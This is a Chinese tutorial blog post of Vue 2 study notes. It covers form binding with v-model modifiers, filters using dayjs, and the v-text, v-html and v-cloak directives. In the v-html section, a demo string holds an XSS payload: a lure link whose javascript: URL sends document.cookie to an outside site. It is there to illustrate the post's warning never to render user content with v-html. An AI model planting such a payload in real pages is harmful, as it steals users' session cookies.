    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
    <script src="../代码/vue_basic/js/vue.js"></script>
  </head>

  <body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <form @submit.prevent="demo">
        账号: <input type="text" v-model.trim="userInfo.account" /> <br /><br />
        密码: <input type="password" v-model="userInfo.password" /><br /><br />
        <!-- type="number"这个是原生js的,控制number类型, v-model.number 这个number是vue提供的 这两个一般同时使用-->
        年龄: <input type="number" v-model.number="userInfo.age" /><br /><br /><input type="radio" name="sex" v-model="userInfo.sex" value="male" /><input
          type="radio"
          name="sex"
          v-model="userInfo.sex"
          value="female"
        /><br /><br />
        爱好: 学习<input
          type="checkbox"
          v-model="userInfo.hobby"
          value="study"
        />
        打游戏<input type="checkbox" v-model="userInfo.hobby" value="game" />
        吃饭<input
          type="checkbox"
          v-model="userInfo.hobby"
          value="eat"
        /><br /><br />
        所属校区
        <select v-model="userInfo.city">
          <option value="">求选择校区</option>
          <option value="beijing">北京</option>
          <option value="shanghai">上海</option>
          <option value="shenzhen">深圳</option>
          <option value="wuhan">武汉</option></select
        ><br /><br />
        其他信息:
        <!-- lazy 当输入多行信息,要是不希望实时收集数据,等写完再收集,可以给他加一个lazy,失去焦点时收集  -->
        <textarea v-model.lazy="userInfo.other"></textarea><br /><br />
        <input type="checkbox" v-model="userInfo.agree" />
        阅读并接受<a href="http://www.atguigu.com">《用户协议》</a><br /><br />
        <!-- 点击按钮引起表单提交,表单提交默认动作就是跳转。如果不想他跳转,1 可以给按钮绑定一个点击事件,阻止默认行为 2 给form绑定事件,此处用这个方法 -->
        <button>提交</button>
      </form>
    </div>
  </body>

  <script>
    Vue.config.productionTip = false;
    const vm = new Vue({
      el: "#root",
      data: {
        userInfo: {
          account: "",
          password: "",
          age: "",
          sex: "female",
          hobby: [],
          city: "beijing",
          other: "",
          agree: "",
        },
      },
      methods: {
        demo() {
          // 输出表单信息,一个一个输出很麻烦,我们一次输出,我们用Ajax前后端交互的时候一般都把收集的数据整理成json格式传给后端
          console.log(JSON.stringify(this.userInfo));
        },
      },
    });
  </script>
</html>

补充知识点:

  1. 表单使用 form,<form action=""></form> ,action 属性用于指定提交表单地址 现在一般不用这个属性,这个表单不会往一个地址去跳转,只是作为一个元素的呈现,结构,通过 ajax 把数据发给后端,所以不需要 action

  2. 把账号写在 label 里面,利用 给的 demo 关联起来,可以点击账号就能获得焦点
    <label for="demo">账号: </label><input type="text" id="demo">

1.14 过滤器

过滤器:
定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
语法:
1.注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}
2.使用过滤器:{{ xxx | 过滤器名}} 或 v-bind:属性 = “xxx | 过滤器名”
备注:
1.过滤器也可以接收额外参数、多个过滤器也可以串联
2.并没有改变原本的数据, 是产生新的对应的数据

理解过滤器

  1. 功能: 对要显示的数据进行特定格式化后再显示
  2. 注意: 并没有改变原本的数据, 是产生新的对应的数据

这个不是一个必须要用的东西,只是Vue提供的一个新的数据处理的方式

案例:显示格式化的时间

效果:

在这里插入图片描述

查看时间戳的方法:

在这里插入图片描述

分析:
时间格式化:时间戳

当我们拿到时间戳的时候,可以通过计算属性把他加工一下成人们看得懂的时间。

封装一个方法,配置在methods里面,然后去调用methods,把他加工一下就可以实现。

这里我们也可以使用过滤器的方法去写。

使用一个第三方库dayjs

代码:

<!DOCTYPE html>
<html lang="en">

<head>
	<meta charset="UTF-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<title>Document</title>
	<script src="../代码/vue_basic/js/vue.js"></script>
	<script src="../代码/vue_basic/js/dayjs.min.js"></script>
</head>

<body>
	<!-- 准备好一个容器 -->
	<div id="root">
		<h2>显示格式化后的时间</h2>
		<!-- 计算属性实现 -->
		<h3>现在是:{{fmtTime}}</h3>
		<!-- methods方法实现 (是方法,要记得加()去调用)-->
		<h3>现在是:{{getFmtTime()}}</h3>
		<!-- 过滤器实现 -->
		<!-- 执行过程: 首先捕获到 time | timeFormater ,然后读取time,把time作为参数传给timeFormater,之后调用timeFormater()函数,然后vue拿到返回值,把这整个time | timeFormater替换掉-->
		<h3>现在是:{{time | timeFormater}}</h3>

		<!-- 过滤器实现(传参) -->
		<!-- time | timeFormater('YYYY_MM_DD') 后面加了小括号,实际上就传了两个参数,一个是time,一个是后面括号的字符串 -->
		<h3>现在是:{{time | timeFormater('YYYY_MM_DD')}}</h3>

		<!-- 过滤器实现(传参) -->
		<!-- 工作流程: 1 把time传给timeFormater 2 timeFormater工作后的结果继续传给mySlice-->
		<h3>现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>

		<!-- 这个x里面也可以使用过滤器 -->
		<h3 :x="msg | mySlice">尚硅谷</h3>

	</div>

	<div id="root2">
		<h2>{{msg | mySlice}}</h2>
	</div>
	
</body>

<script>
	Vue.config.productionTip = false
	// 配置全局过滤器
	Vue.filter('mySlice',function(value){
		return value.slice(0,4)
	})

	new Vue({
		el:'#root',
		data:{
			time:1667269595405, // 时间戳
			msg:'你好,尚硅谷',
		},
		computed:{
			fmtTime(){
				return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
			}
		},
		methods: {
			getFmtTime(){
				return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
			}
		},
		filters:{
			// 过滤器的本质就是函数
			timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
				console.log('@',value);
				return dayjs(value).format(str)
			},
			// 把局部过滤器写到全局过滤器中
			// 局部过滤器
			// mySlice(value){
			// 	return value.slice(0,4)
			// }
		}
		
	})

	new Vue({
		el:'#root2',
		data:{
			msg:'hello,atguigu!'
		}
	})
</script>

</html>

显示 :
在这里插入图片描述

部分代码分析:

过滤器实现(传参)的流程:

在这里插入图片描述

其中,这个局部过滤器,只有当前的Vue实例可以用,如果再出现一个Vue实例就不能用.但是之前说一个应用里面一个实例vm,当学到后面组件的时候,会有多个组件,一个组件就是一个微型的vm.

补充知识点:

  1. BootCDN(bootcdn.cn)免费的提供第三库的网站。有几个比较出名的库:
    moment.js(有点大) dayjs(轻量级)

1.15 内置指令与自定义指令

1.15.1 常见内置指令

内置: vue作者定义好了的指令

我们学过的指令:
v-bind : 单向绑定解析表达式, 可简写为 :xxx
v-model : 双向数据绑定
v-for : 遍历数组/对象/字符串
v-on : 绑定事件监听, 可简写为@
v-if : 条件渲染(动态控制节点是否存存在)
v-else : 条件渲染(动态控制节点是否存存在)
v-show : 条件渲染 (动态控制节点是否展示)

1 v-text指令:

1.作用:向其所在的节点中渲染文本内容。
2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。

eg.v-text_指令.html

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-text指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好,{{name}}</div>
			<!-- v-text会拿到name的值,替换掉整个div的值 -->
			<div v-text="name">你好</div>
			<div v-text="str"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				str:'<h3>你好啊!</h3>'
			}
		})
	</script>
</html>

2 v-html_指令

v-html指令:
1.作用:向指定节点中渲染包含html结构的内容。
2.与插值语法的区别:
(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
(2).v-html可以识别html结构。
3.严重注意:v-html有安全性问题!!!!
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!

其中安全性问题:要知道Nodejs里面cookie的原理

在这里插入图片描述

在这里插入图片描述

eg. v-html_指令.html

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-html指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好,{{name}}</div>
			<div v-html="str"></div>
			<div v-html="str2"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				str:'<h3>你好啊!</h3>',
				str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
			}
		})
	</script>
</html>

页面操作:(可以先在cookie里面添加一些数据)

在这里插入图片描述

3 v-cloak_指令

js阻塞:‘我要是耽误了,那么后面的谁都走不了’

v-cloak指令(没有值):

1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。

2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-cloak指令</title>
		<style>
			[v-cloak]{
				display:none;
			}
		</style>
		<!-- 引入Vue -->
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-cloak>{{name}}</h2>
		</div>
		<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
	</body>
	
	<script type="text/javascript">
		console.log(1)
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			}
		})
	</script>
</html>

前端小白还在码代码中😥😥😥😥

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值